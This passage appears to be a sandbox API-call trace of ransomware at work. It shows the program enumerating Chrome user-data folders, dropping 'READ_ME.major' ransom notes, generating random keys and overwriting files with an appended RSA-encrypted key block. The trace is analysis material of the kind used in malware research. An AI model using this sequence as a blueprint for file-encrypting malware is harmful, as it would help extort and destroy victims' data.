ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.739] FindNextFileW (in: hFindFile=0x2f2d158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="reports", cAlternateFileName="")) returned 1 [0207.739] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\reports\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154c [0207.740] WriteFile (in: hFile=0x154c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.741] CloseHandle (hObject=0x154c) returned 1 [0207.741] FindNextFileW (in: hFindFile=0x2f2d158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xc3c501de, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0207.741] FindNextFileW (in: hFindFile=0x2f2d158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xc3c501de, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0207.741] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.741] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", dwFileAttributes=0x80) returned 1 [0207.742] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154c [0207.743] GetFileSizeEx (in: hFile=0x154c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=40) returned 1 [0207.743] ReadFile (in: hFile=0x154c, lpBuffer=0x5c1348, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1348*, lpNumberOfBytesRead=0x2e3f9b4*=0x28, lpOverlapped=0x0) returned 1 [0207.743] SetFilePointer (in: hFile=0x154c, lDistanceToMove=-40, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.743] WriteFile (in: hFile=0x154c, lpBuffer=0x5c1588*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1588*, lpNumberOfBytesWritten=0x2e3f9b4*=0x28, lpOverlapped=0x0) returned 1 [0207.744] SetFilePointer (in: hFile=0x154c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x28 [0207.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.744] WriteFile (in: hFile=0x154c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.744] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.744] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="J2HohUF6XH71WbelhzIMdsnXjhZQWNkf0V0yXNjYKGSJimhi7M4f9a6+7NKTPwpI\nN5SK7hNrOqfWuP0ilZenh6ZsNNFtcxeEb6DzCXXr9qn/PHmfzE9m1dKq7j9vfAxD\nJZgRih/6u+8WAbamMnIiwRlLJNFPwF0A3ZOTDOKwZBVabjkqFz81KwaGa9PwzMjb\nCZiOHXB8TGYhfvMJPZ+Mr91haOwVo+pEwMfjdiZOw6BHxwQllTkI5/vrTUPwFWcf\n+q5F2uNziuHseOVbFjuBsXtYvp+NJGbgHtVotpjYvQQa/IYalDyV9otq/2YEleXP\nOy3qizGw6bA3gCFw3oHYrg==\n", pcchString=0x2e3f9a8) returned 1 [0207.744] WriteFile (in: hFile=0x154c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.744] WriteFile (in: hFile=0x154c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.744] CloseHandle (hObject=0x154c) returned 1 [0207.767] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.767] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata", dwFileAttributes=0x80) returned 1 [0207.768] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154c [0207.768] GetFileSizeEx (in: hFile=0x154c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0207.768] ReadFile (in: hFile=0x154c, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0207.769] SetFilePointer (in: hFile=0x154c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.769] WriteFile (in: hFile=0x154c, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0207.769] SetFilePointer (in: hFile=0x154c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0207.769] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.769] WriteFile (in: hFile=0x154c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.770] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.770] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.770] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.770] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eu8X38AMyjopExVfm11XjzsshT3hhNul4muKSRqsa7IqHVT3AAZhab9UJ1KW7tlW\n0jMe0sBsb3e+xxGVNpUvaQPk6najngz6UPqEZhYG4oeV3qd1+7yWsRSxF5HelK7x\nOK/b8/W6uHwGJGm2xQdwTdXrgBftDAfmo2d8WxDw65hiFq7WCGqhzeqN52p4Zjhw\nxwzFa+XZSHjmOXnJTvk6GzOThk4gkpVrkFa8JNoT4E9vn1lNJyuHP0dBHIvFVFFJ\nKT5+kAjq/KDfZPyi/0nR0pv0atuVMW2vf68narfXXRM7BvT6MVCkxpCq0N5N2mA1\njTATUjSKZOgG53fRt6KvGA==\n", pcchString=0x2e3f9a8) returned 1 [0207.770] WriteFile (in: hFile=0x154c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.771] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.771] WriteFile (in: hFile=0x154c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.771] CloseHandle (hObject=0x154c) returned 1 [0207.772] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d358 [0207.773] FindNextFileW (in: hFindFile=0x2f2d358, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.773] FindNextFileW (in: hFindFile=0x2f2d358, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.773] FindNextFileW (in: hFindFile=0x2f2d358, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.773] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d1d8 [0207.773] FindNextFileW (in: hFindFile=0x2f2d1d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.773] FindNextFileW (in: hFindFile=0x2f2d1d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.774] FindNextFileW (in: hFindFile=0x2f2d1d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.774] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d598 [0207.774] FindNextFileW (in: hFindFile=0x2f2d598, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.774] FindNextFileW (in: hFindFile=0x2f2d598, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.774] FindNextFileW (in: hFindFile=0x2f2d598, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.774] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d298 [0207.774] FindNextFileW (in: hFindFile=0x2f2d298, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.774] FindNextFileW (in: hFindFile=0x2f2d298, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.774] FindNextFileW (in: hFindFile=0x2f2d298, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.774] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d5d8 [0207.775] FindNextFileW (in: hFindFile=0x2f2d5d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c035be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.775] FindNextFileW (in: hFindFile=0x2f2d5d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.775] FindNextFileW (in: hFindFile=0x2f2d5d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c035be, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c035be, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.775] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d2d8 [0207.775] FindNextFileW (in: hFindFile=0x2f2d2d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.775] FindNextFileW (in: hFindFile=0x2f2d2d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c2986a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c2986a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.775] FindNextFileW (in: hFindFile=0x2f2d2d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c2986a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c2986a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.775] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d318 [0207.775] FindNextFileW (in: hFindFile=0x2f2d318, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 